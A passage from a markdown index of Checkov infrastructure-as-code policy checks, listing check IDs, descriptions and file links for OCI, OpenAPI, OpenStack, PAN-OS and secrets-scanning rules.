[IAMPasswordPolicyUpperCase.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/oci/IAMPasswordPolicyUpperCase.py)                                                                           |\n| 7803 | CKV_OCI_15               | resource                         | oci_file_storage_file_system                                                                     | Ensure OCI File System is Encrypted with a customer Managed Key                                                                                                                                          | Terraform               | [FileSystemEncryption.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/oci/FileSystemEncryption.py)                                                                                       |\n| 7804 | CKV_OCI_16               | resource                         | oci_core_security_list                                                                           | Ensure VCN has an inbound security list                                                                                                                                                                  | Terraform               | [SecurityListIngress.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/oci/SecurityListIngress.py)                                                                                         |\n| 7805 | CKV_OCI_17               | resource                         | oci_core_security_list                                                                           | Ensure VCN inbound security lists are stateless                                                                                                                                                          | Terraform               | [SecurityListIngressStateless.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/oci/SecurityListIngressStateless.py)                                                                       |\n| 7806 | CKV_OCI_18               | resource                         | oci_identity_authentication_policy                                                               | OCI IAM password policy for local (non-federated) users has a minimum length of 14 characters                                                                                                            | Terraform               | [IAMPasswordLength.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/oci/IAMPasswordLength.py)                                                                                             |\n| 7807 | CKV_OCI_19               | resource                         | oci_core_security_list                                                                           | Ensure no security list allow ingress from 0.0.0.0:0 to port 22.                                                                                                                                         | Terraform               | [SecurityListUnrestrictedIngress22.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/oci/SecurityListUnrestrictedIngress22.py)                                                             |\n| 7808 | CKV_OCI_20               | resource                         | oci_core_security_list                                                                           | Ensure no security list allow ingress from 0.0.0.0:0 to port 3389.                                                                                                                                       | Terraform               | [SecurityListUnrestrictedIngress3389.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/oci/SecurityListUnrestrictedIngress3389.py)                                                         |\n| 7809 | CKV_OCI_21               | resource                         | oci_core_network_security_group_security_rule                                                    | Ensure security group has stateless ingress security rules                                                                                                                                               | Terraform               | [SecurityGroupsIngressStatelessSecurityRules.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/oci/SecurityGroupsIngressStatelessSecurityRules.py)                                         |\n| 7810 | CKV_OCI_22               | resource                         | oci_core_network_security_group_security_rule                                                    | Ensure no security groups rules allow ingress from 0.0.0.0/0 to port 22                                                                                                                                  | Terraform               | [AbsSecurityGroupUnrestrictedIngress.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/oci/AbsSecurityGroupUnrestrictedIngress.py)                                                         |\n| 7811 | CKV_OCI_23               | resource                         | oci_datacatalog_catalog                                                                          | Ensure OCI Data Catalog is configured without overly permissive network access                                                                                                                           | Terraform               | [DataCatalogWithPublicAccess.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/oci/DataCatalogWithPublicAccess.py)                                                                         |\n| 7812 | CKV2_OCI_1               | resource                         | oci_identity_group                                                                               | Ensure administrator users are not associated with API keys                                                                                                                                              | Terraform               | [AdministratorUserNotAssociatedWithAPIKey.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/oci/AdministratorUserNotAssociatedWithAPIKey.yaml)                                       |\n| 7813 | CKV2_OCI_1               | resource                         | oci_identity_user                                                                                | Ensure administrator users are not associated with API keys                                                                                                                                              | Terraform               | [AdministratorUserNotAssociatedWithAPIKey.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/oci/AdministratorUserNotAssociatedWithAPIKey.yaml)                                       |\n| 7814 | CKV2_OCI_1               | resource                         | oci_identity_user_group_membership                                                               | Ensure administrator users are not associated with API keys                                                                                                                                              | Terraform               | [AdministratorUserNotAssociatedWithAPIKey.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/oci/AdministratorUserNotAssociatedWithAPIKey.yaml)                                       |\n| 7815 | CKV2_OCI_2               | resource                         | oci_core_network_security_group_security_rule                                                    | Ensure NSG does not allow all traffic on RDP port (3389)                                                                                                                                                 | Terraform               | [OCI_NSGNotAllowRDP.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/oci/OCI_NSGNotAllowRDP.yaml)                                                                                   |\n| 7816 | CKV2_OCI_3               | resource                         | oci_containerengine_cluster                                                                      | Ensure Kubernetes engine cluster is configured with NSG(s)                                                                                                                                               | Terraform               | [OCI_KubernetesEngineClusterEndpointConfigWithNSG.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/oci/OCI_KubernetesEngineClusterEndpointConfigWithNSG.yaml)                       |\n| 7817 | CKV2_OCI_4               | resource                         | oci_file_storage_export                                                                          | Ensure File Storage File System access is restricted to root users                                                                                                                                       | Terraform               | [OCI_NFSaccessRestrictedToRootUsers.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/oci/OCI_NFSaccessRestrictedToRootUsers.yaml)                                                   |\n| 7818 | CKV2_OCI_5               | resource                         | oci_containerengine_node_pool                                                                    | Ensure Kubernetes Engine Cluster boot volume is configured with in-transit data encryption                                                                                                               | Terraform               | [OCI_K8EngineClusterBootVolConfigInTransitEncryption.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/oci/OCI_K8EngineClusterBootVolConfigInTransitEncryption.yaml)                 |\n| 7819 | CKV2_OCI_6               | resource                         | oci_containerengine_cluster                                                                      | Ensure Kubernetes Engine Cluster pod security policy is enforced                                                                                                                                         | Terraform               | [OCI_K8EngineClusterPodSecPolicyEnforced.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/oci/OCI_K8EngineClusterPodSecPolicyEnforced.yaml)                                         |\n| 7820 | CKV_OPENAPI_1            | resource                         | securityDefinitions                                                                              | Ensure that securityDefinitions is defined and not empty - version 2.0 files                                                                                                                             | OpenAPI                 | [SecurityDefinitions.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/openapi/checks/resource/v2/SecurityDefinitions.py)                                                                                            |\n| 7821 | CKV_OPENAPI_2            | resource                         | security                                                                                         | Ensure that if the security scheme is not of type 'oauth2', the array value must be empty - version 2.0 files                                                                                            | OpenAPI                 | [Oauth2SecurityRequirement.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/openapi/checks/resource/v2/Oauth2SecurityRequirement.py)                                                                                |\n| 7822 | CKV_OPENAPI_3            | resource                         | components                                                                                       | Ensure that security schemes don't allow cleartext credentials over unencrypted channel - version 3.x.y files                                                                                            | OpenAPI                 | [CleartextOverUnencryptedChannel.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/openapi/checks/resource/v3/CleartextOverUnencryptedChannel.py)                                                                    |\n| 7823 | CKV_OPENAPI_4            | resource                         | security                                                                                         | Ensure that the global security field has rules defined                                                                                                                                                  | OpenAPI                 | [GlobalSecurityFieldIsEmpty.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/openapi/checks/resource/generic/GlobalSecurityFieldIsEmpty.py)                                                                         |\n| 7824 | CKV_OPENAPI_5            | resource                         | security                                                                                         | Ensure that security operations is not empty.                                                                                                                                                            | OpenAPI                 | [SecurityOperations.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/openapi/checks/resource/generic/SecurityOperations.py)                                                                                         |\n| 7825 | CKV_OPENAPI_6            | resource                         | security                                                                                         | Ensure that security requirement defined in securityDefinitions - version 2.0 files                                                                                                                      | OpenAPI                 | [SecurityRequirement.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/openapi/checks/resource/v2/SecurityRequirement.py)                                                                                            |\n| 7826 | CKV_OPENAPI_7            | resource                         | security                                                                                         | Ensure that the path scheme does not support unencrypted HTTP connection where all transmissions are open to interception- version 2.0 files                                                             | OpenAPI                 | [PathSchemeDefineHTTP.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/openapi/checks/resource/v2/PathSchemeDefineHTTP.py)                                                                                          |\n| 7827 | CKV_OPENAPI_8            | resource                         | security                                                                                         | Ensure that security is not using 'password' flow in OAuth2 authentication - version 2.0 files                                                                                                           | OpenAPI                 | [Oauth2SecurityPasswordFlow.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/openapi/checks/resource/v2/Oauth2SecurityPasswordFlow.py)                                                                              |\n| 7828 | CKV_OPENAPI_9            | resource                         | paths                                                                                            | Ensure that security scopes of operations are defined in securityDefinitions - version 2.0 files                                                                                                         | OpenAPI                 | [OperationObjectSecurityScopeUndefined.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/openapi/checks/resource/v2/OperationObjectSecurityScopeUndefined.py)                                                        |\n| 7829 | CKV_OPENAPI_10           | resource                         | paths                                                                                            | Ensure that operation object does not use 'password' flow in OAuth2 authentication - version 2.0 files                                                                                                   | OpenAPI                 | [Oauth2OperationObjectPasswordFlow.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/openapi/checks/resource/v2/Oauth2OperationObjectPasswordFlow.py)                                                                |\n| 7830 | CKV_OPENAPI_11           | resource                         | securityDefinitions                                                                              | Ensure that operation object does not use 'password' flow in OAuth2 authentication - version 2.0 files                                                                                                   | OpenAPI                 | [Oauth2SecurityDefinitionPasswordFlow.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/openapi/checks/resource/v2/Oauth2SecurityDefinitionPasswordFlow.py)                                                          |\n| 7831 | CKV_OPENAPI_12           | resource                         | securityDefinitions                                                                              | Ensure no security definition is using implicit flow on OAuth2, which is deprecated - version 2.0 files                                                                                                  | OpenAPI                 | [Oauth2SecurityDefinitionImplicitFlow.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/openapi/checks/resource/v2/Oauth2SecurityDefinitionImplicitFlow.py)                                                          |\n| 7832 | CKV_OPENAPI_13           | resource                         | securityDefinitions                                                                              | Ensure security definitions do not use basic auth - version 2.0 files                                                                                                                                    | OpenAPI                 | [SecurityDefinitionBasicAuth.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/openapi/checks/resource/v2/SecurityDefinitionBasicAuth.py)                                                                            |\n| 7833 | CKV_OPENAPI_14           | resource                         | paths                                                                                            | Ensure that operation objects do not use 'implicit' flow, which is deprecated - version 2.0 files                                                                                                        | OpenAPI                 | [OperationObjectImplicitFlow.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/openapi/checks/resource/v2/OperationObjectImplicitFlow.py)                                                                            |\n| 7834 | CKV_OPENAPI_15           | resource                         | paths                                                                                            | Ensure that operation objects do not use basic auth - version 2.0 files                                                                                                                                  | OpenAPI                 | [OperationObjectBasicAuth.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/openapi/checks/resource/v2/OperationObjectBasicAuth.py)                                                                                  |\n| 7835 | CKV_OPENAPI_16           | resource                         | paths                                                                                            | Ensure that operation objects have 'produces' field defined for GET operations - version 2.0 files                                                                                                       | OpenAPI                 | [OperationObjectProducesUndefined.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/openapi/checks/resource/v2/OperationObjectProducesUndefined.py)                                                                  |\n| 7836 | CKV_OPENAPI_17           | resource                         | paths                                                                                            | Ensure that operation objects have 'consumes' field defined for PUT, POST and PATCH operations - version 2.0 files                                                                                       | OpenAPI                 | [OperationObjectConsumesUndefined.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/openapi/checks/resource/v2/OperationObjectConsumesUndefined.py)                                                                  |\n| 7837 | CKV_OPENAPI_18           | resource                         | schemes                                                                                          | Ensure that global schemes use 'https' protocol instead of 'http'- version 2.0 files                                                                                                                     | OpenAPI                 | [GlobalSchemeDefineHTTP.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/openapi/checks/resource/v2/GlobalSchemeDefineHTTP.py)                                                                                      |\n| 7838 | CKV_OPENAPI_19           | resource                         | security                                                                                         | Ensure that global security scope is defined in securityDefinitions - version 2.0 files                                                                                                                  | OpenAPI                 | [GlobalSecurityScopeUndefined.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/openapi/checks/resource/v2/GlobalSecurityScopeUndefined.py)                                                                          |\n| 7839 | CKV_OPENAPI_20           | resource                         | paths                                                                                            | Ensure that API keys are not sent over cleartext                                                                                                                                                         | OpenAPI                 | [ClearTextAPIKey.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/openapi/checks/resource/generic/ClearTextAPIKey.py)                                                                                               |\n| 7840 | CKV_OPENAPI_21           | resource                         | paths                                                                                            | Ensure that arrays have a maximum number of items                                                                                                                                                        | OpenAPI                 | [NoMaximumNumberItems.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/openapi/checks/resource/generic/NoMaximumNumberItems.py)                                                                                     |\n| 7841 | CKV_OPENSTACK_1          | provider                         | openstack                                                                                        | Ensure no hard coded OpenStack password, token, or application_credential_secret exists in provider                                                                                                      | Terraform               | [credentials.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/provider/openstack/credentials.py)                                                                                                   |\n| 7842 | CKV_OPENSTACK_2          | resource                         | openstack_compute_secgroup_v2                                                                    | Ensure no security groups allow ingress from 0.0.0.0:0 to port 22 (tcp / udp)                                                                                                                            | Terraform               | [SecurityGroupUnrestrictedIngress22.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/openstack/SecurityGroupUnrestrictedIngress22.py)                                                     |\n| 7843 | CKV_OPENSTACK_2          | resource                         | openstack_networking_secgroup_rule_v2                                                            | Ensure no security groups allow ingress from 0.0.0.0:0 to port 22 (tcp / udp)                                                                                                                            | Terraform               | [SecurityGroupUnrestrictedIngress22.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/openstack/SecurityGroupUnrestrictedIngress22.py)                                                     |\n| 7844 | CKV_OPENSTACK_3          | resource                         | openstack_compute_secgroup_v2                                                                    | Ensure no security groups allow ingress from 0.0.0.0:0 to port 3389 (tcp / udp)                                                                                                                          | Terraform               | [SecurityGroupUnrestrictedIngress3389.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/openstack/SecurityGroupUnrestrictedIngress3389.py)                                                 |\n| 7845 | CKV_OPENSTACK_3          | resource                         | openstack_networking_secgroup_rule_v2                                                            | Ensure no security groups allow ingress from 0.0.0.0:0 to port 3389 (tcp / udp)                                                                                                                          | Terraform               | [SecurityGroupUnrestrictedIngress3389.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/openstack/SecurityGroupUnrestrictedIngress3389.py)                                                 |\n| 7846 | CKV_OPENSTACK_4          | resource                         | openstack_compute_instance_v2                                                                    | Ensure that instance does not use basic credentials                                                                                                                                                      | Terraform               | [ComputeInstanceAdminPassword.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/openstack/ComputeInstanceAdminPassword.py)                                                                 |\n| 7847 | CKV_OPENSTACK_5          | resource                         | openstack_fw_rule_v1                                                                             | Ensure firewall rule set a destination IP                                                                                                                                                                | Terraform               | [FirewallRuleSetDestinationIP.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/openstack/FirewallRuleSetDestinationIP.py)                                                                 |\n| 7848 | CKV_PAN_1                | provider                         | panos                                                                                            | Ensure no hard coded PAN-OS credentials exist in provider                                                                                                                                                | Terraform               | [credentials.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/provider/panos/credentials.py)                                                                                                       |\n| 7849 | CKV_PAN_2                | resource                         | panos_management_profile                                                                         | Ensure plain-text management HTTP is not enabled for an Interface Management Profile                                                                                                                     | Terraform               | [InterfaceMgmtProfileNoHTTP.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/panos/InterfaceMgmtProfileNoHTTP.py)                                                                         |\n| 7850 | CKV_PAN_2                | resource                         | tasks.paloaltonetworks.panos.panos_management_profile                                            | Ensure plain-text management HTTP is not enabled for an Interface Management Profile                                                                                                                     | Ansible                 | [PanosInterfaceMgmtProfileNoHTTP.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/graph_checks/PanosInterfaceMgmtProfileNoHTTP.yaml)                                                               |\n| 7851 | CKV_PAN_3                | resource                         | panos_management_profile                                                                         | Ensure plain-text management Telnet is not enabled for an Interface Management Profile                                                                                                                   | Terraform               | [InterfaceMgmtProfileNoTelnet.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/panos/InterfaceMgmtProfileNoTelnet.py)                                                                     |\n| 7852 | CKV_PAN_3                | resource                         | tasks.paloaltonetworks.panos.panos_management_profile                                            | Ensure plain-text management Telnet is not enabled for an Interface Management Profile                                                                                                                   | Ansible                 | [PanosInterfaceMgmtProfileNoTelnet.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/graph_checks/PanosInterfaceMgmtProfileNoTelnet.yaml)                                                           |\n| 7853 | CKV_PAN_4                | resource                         | panos_security_policy                                                                            | Ensure DSRI is not enabled within security policies                                                                                                                                                      | Terraform               | [PolicyNoDSRI.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/panos/PolicyNoDSRI.py)                                                                                                     |\n| 7854 | CKV_PAN_4                | resource                         | panos_security_rule_group                                                                        | Ensure DSRI is not enabled within security policies                                                                                                                                                      | Terraform               | [PolicyNoDSRI.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/panos/PolicyNoDSRI.py)                                                                                                     |\n| 7855 | CKV_PAN_4                | resource                         | tasks.paloaltonetworks.panos.panos_security_rule                                                 | Ensure DSRI is not enabled within security policies                                                                                                                                                      | Ansible                 | [PanosPolicyNoDSRI.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/graph_checks/PanosPolicyNoDSRI.yaml)                                                                                           |\n| 7856 | CKV_PAN_5                | resource                         | panos_security_policy                                                                            | Ensure security rules do not have 'applications' set to 'any'                                                                                                                                            | Terraform               | [PolicyNoApplicationAny.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/panos/PolicyNoApplicationAny.py)                                                                                 |\n| 7857 | CKV_PAN_5                | resource                         | panos_security_rule_group                                                                        | Ensure security rules do not have 'applications' set to 'any'                                                                                                                                            | Terraform               | [PolicyNoApplicationAny.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/panos/PolicyNoApplicationAny.py)                                                                                 |\n| 7858 | CKV_PAN_5                | resource                         | tasks.paloaltonetworks.panos.panos_security_rule                                                 | Ensure security rules do not have 'application' set to 'any'                                                                                                                                             | Ansible                 | [PanosPolicyNoApplicationAny.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/graph_checks/PanosPolicyNoApplicationAny.yaml)                                                                       |\n| 7859 | CKV_PAN_6                | resource                         | panos_security_policy                                                                            | Ensure security rules do not have 'services' set to 'any'                                                                                                                                                | Terraform               | [PolicyNoServiceAny.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/panos/PolicyNoServiceAny.py)                                                                                         |\n| 7860 | CKV_PAN_6                | resource                         | panos_security_rule_group                                                                        | Ensure security rules do not have 'services' set to 'any'                                                                                                                                                | Terraform               | [PolicyNoServiceAny.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/panos/PolicyNoServiceAny.py)                                                                                         |\n| 7861 | CKV_PAN_6                | resource                         | tasks.paloaltonetworks.panos.panos_security_rule                                                 | Ensure security rules do not have 'service' set to 'any'                                                                                                                                                 | Ansible                 | [PanosPolicyNoServiceAny.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/graph_checks/PanosPolicyNoServiceAny.yaml)                                                                               |\n| 7862 | CKV_PAN_7                | resource                         | panos_security_policy                                                                            | Ensure security rules do not have 'source_addresses' and 'destination_addresses' both containing values of 'any'                                                                                         | Terraform               | [PolicyNoSrcAnyDstAny.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/panos/PolicyNoSrcAnyDstAny.py)                                                                                     |\n| 7863 | CKV_PAN_7                | resource                         | panos_security_rule_group                                                                        | Ensure security rules do not have 'source_addresses' and 'destination_addresses' both containing values of 'any'                                                                                         | Terraform               | [PolicyNoSrcAnyDstAny.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/panos/PolicyNoSrcAnyDstAny.py)                                                                                     |\n| 7864 | CKV_PAN_7                | resource                         | tasks.paloaltonetworks.panos.panos_security_rule                                                 | Ensure security rules do not have 'source_ip' and 'destination_ip' both containing values of 'any'                                                                                                       | Ansible                 | [PanosPolicyNoSrcAnyDstAny.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/graph_checks/PanosPolicyNoSrcAnyDstAny.yaml)                                                                           |\n| 7865 | CKV_PAN_8                | resource                         | panos_security_policy                                                                            | Ensure description is populated within security policies                                                                                                                                                 | Terraform               | [PolicyDescription.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/panos/PolicyDescription.py)                                                                                           |\n| 7866 | CKV_PAN_8                | resource                         | panos_security_rule_group                                                                        | Ensure description is populated within security policies                                                                                                                                                 | Terraform               | [PolicyDescription.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/panos/PolicyDescription.py)                                                                                           |\n| 7867 | CKV_PAN_8                | resource                         | tasks.paloaltonetworks.panos.panos_security_rule                                                 | Ensure description is populated within security policies                                                                                                                                                 | Ansible                 | [PanosPolicyDescription.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/graph_checks/PanosPolicyDescription.yaml)                                                                                 |\n| 7868 | CKV_PAN_9                | resource                         | panos_security_policy                                                                            | Ensure a Log Forwarding Profile is selected for each security policy rule                                                                                                                                | Terraform               | [PolicyLogForwarding.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/panos/PolicyLogForwarding.py)                                                                                       |\n| 7869 | CKV_PAN_9                | resource                         | panos_security_rule_group                                                                        | Ensure a Log Forwarding Profile is selected for each security policy rule                                                                                                                                | Terraform               | [PolicyLogForwarding.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/panos/PolicyLogForwarding.py)                                                                                       |\n| 7870 | CKV_PAN_9                | resource                         | tasks.paloaltonetworks.panos.panos_security_rule                                                 | Ensure a Log Forwarding Profile is selected for each security policy rule                                                                                                                                | Ansible                 | [PanosPolicyLogForwarding.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/graph_checks/PanosPolicyLogForwarding.yaml)                                                                             |\n| 7871 | CKV_PAN_10               | resource                         | panos_security_policy                                                                            | Ensure logging at session end is enabled within security policies                                                                                                                                        | Terraform               | [PolicyLoggingEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/panos/PolicyLoggingEnabled.py)                                                                                     |\n| 7872 | CKV_PAN_10               | resource                         | panos_security_rule_group                                                                        | Ensure logging at session end is enabled within security policies                                                                                                                                        | Terraform               | [PolicyLoggingEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/panos/PolicyLoggingEnabled.py)                                                                                     |\n| 7873 | CKV_PAN_10               | resource                         | tasks.paloaltonetworks.panos.panos_security_rule                                                 | Ensure logging at session end is enabled within security policies                                                                                                                                        | Ansible                 | [PanosPolicyLoggingEnabled.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/graph_checks/PanosPolicyLoggingEnabled.yaml)                                                                           |\n| 7874 | CKV_PAN_11               | resource                         | panos_ipsec_crypto_profile                                                                       | Ensure IPsec profiles do not specify use of insecure encryption algorithms                                                                                                                               | Terraform               | [NetworkIPsecAlgorithms.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/panos/NetworkIPsecAlgorithms.py)                                                                                 |\n| 7875 | CKV_PAN_11               | resource                         | panos_panorama_ipsec_crypto_profile                                                              | Ensure IPsec profiles do not specify use of insecure encryption algorithms                                                                                                                               | Terraform               | [NetworkIPsecAlgorithms.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/panos/NetworkIPsecAlgorithms.py)                                                                                 |\n| 7876 | CKV_PAN_12               | resource                         | panos_ipsec_crypto_profile                                                                       | Ensure IPsec profiles do not specify use of insecure authentication algorithms                                                                                                                           | Terraform               | [NetworkIPsecAuthAlgorithms.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/panos/NetworkIPsecAuthAlgorithms.py)                                                                         |\n| 7877 | CKV_PAN_12               | resource                         | panos_panorama_ipsec_crypto_profile                                                              | Ensure IPsec profiles do not specify use of insecure authentication algorithms                                                                                                                           | Terraform               | [NetworkIPsecAuthAlgorithms.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/panos/NetworkIPsecAuthAlgorithms.py)                                                                         |\n| 7878 | CKV_PAN_12               | resource                         | tasks.paloaltonetworks.panos.panos_ipsec_profile                                                 | Ensure IPsec profiles do not specify use of insecure authentication algorithms                                                                                                                           | Ansible                 | [PanosIPsecAuthenticationAlgorithms.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/graph_checks/PanosIPsecAuthenticationAlgorithms.yaml)                                                         |\n| 7879 | CKV_PAN_13               | resource                         | panos_ipsec_crypto_profile                                                                       | Ensure IPsec profiles do not specify use of insecure protocols                                                                                                                                           | Terraform               | [NetworkIPsecProtocols.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/panos/NetworkIPsecProtocols.py)                                                                                   |\n| 7880 | CKV_PAN_13               | resource                         | panos_panorama_ipsec_crypto_profile                                                              | Ensure IPsec profiles do not specify use of insecure protocols                                                                                                                                           | Terraform               | [NetworkIPsecProtocols.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/panos/NetworkIPsecProtocols.py)                                                                                   |\n| 7881 | CKV_PAN_13               | resource                         | tasks.paloaltonetworks.panos.panos_ipsec_profile                                                 | Ensure IPsec profiles do not specify use of insecure protocols                                                                                                                                           | Ansible                 | [PanosIPsecProtocols.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/graph_checks/PanosIPsecProtocols.yaml)                                                                                       |\n| 7882 | CKV_PAN_14               | resource                         | panos_panorama_zone                                                                              | Ensure a Zone Protection Profile is defined within Security Zones                                                                                                                                        | Terraform               | [ZoneProtectionProfile.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/panos/ZoneProtectionProfile.py)                                                                                   |\n| 7883 | CKV_PAN_14               | resource                         | panos_zone                                                                                       | Ensure a Zone Protection Profile is defined within Security Zones                                                                                                                                        | Terraform               | [ZoneProtectionProfile.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/panos/ZoneProtectionProfile.py)                                                                                   |\n| 7884 | CKV_PAN_14               | resource                         | panos_zone_entry                                                                                 | Ensure a Zone Protection Profile is defined within Security Zones                                                                                                                                        | Terraform               | [ZoneProtectionProfile.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/panos/ZoneProtectionProfile.py)                                                                                   |\n| 7885 | CKV_PAN_14               | resource                         | tasks.paloaltonetworks.panos.panos_zone                                                          | Ensure a Zone Protection Profile is defined within Security Zones                                                                                                                                        | Ansible                 | [PanosZoneProtectionProfile.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/graph_checks/PanosZoneProtectionProfile.yaml)                                                                         |\n| 7886 | CKV_PAN_15               | resource                         | panos_panorama_zone                                                                              | Ensure an Include ACL is defined for a Zone when User-ID is enabled                                                                                                                                      | Terraform               | [ZoneUserIDIncludeACL.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/panos/ZoneUserIDIncludeACL.py)                                                                                     |\n| 7887 | CKV_PAN_15               | resource                         | panos_zone                                                                                       | Ensure an Include ACL is defined for a Zone when User-ID is enabled                                                                                                                                      | Terraform               | [ZoneUserIDIncludeACL.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/panos/ZoneUserIDIncludeACL.py)                                                                                     |\n| 7888 | CKV_PAN_15               | resource                         | tasks.paloaltonetworks.panos.panos_zone                                                          | Ensure an Include ACL is defined for a Zone when User-ID is enabled                                                                                                                                      | Ansible                 | [PanosZoneUserIDIncludeACL.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/graph_checks/PanosZoneUserIDIncludeACL.yaml)                                                                           |\n| 7889 | CKV_PAN_16               | resource                         | tasks.paloaltonetworks.panos.panos_security_rule                                                 | Ensure logging at session start is disabled within security policies except for troubleshooting and long lived GRE tunnels                                                                               | Ansible                 | [PanosPolicyLogSessionStart.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/graph_checks/PanosPolicyLogSessionStart.yaml)                                                                         |\n| 7890 | CKV_PAN_17               | resource                         | tasks.paloaltonetworks.panos.panos_security_rule                                                 | Ensure security rules do not have 'source_zone' and 'destination_zone' both containing values of 'any'                                                                                                   | Ansible                 | [PanosPolicyNoSrcZoneAnyNoDstZoneAny.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/ansible/checks/graph_checks/PanosPolicyNoSrcZoneAnyNoDstZoneAny.yaml)                                                       |\n| 7891 | CKV_SECRET_1             | Artifactory Credentials          | secrets                                                                                          | Artifactory Credentials                                                                                                                                                                                  | secrets                 | [policy_metadata_integration.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/common/bridgecrew/integration_features/features/policy_metadata_integration.py)                                                       |\n| 7892 | CKV_SECRET_2             | AWS Access Key                   | secrets                                                                                          | AWS Access Key                                                                                                                                                                                           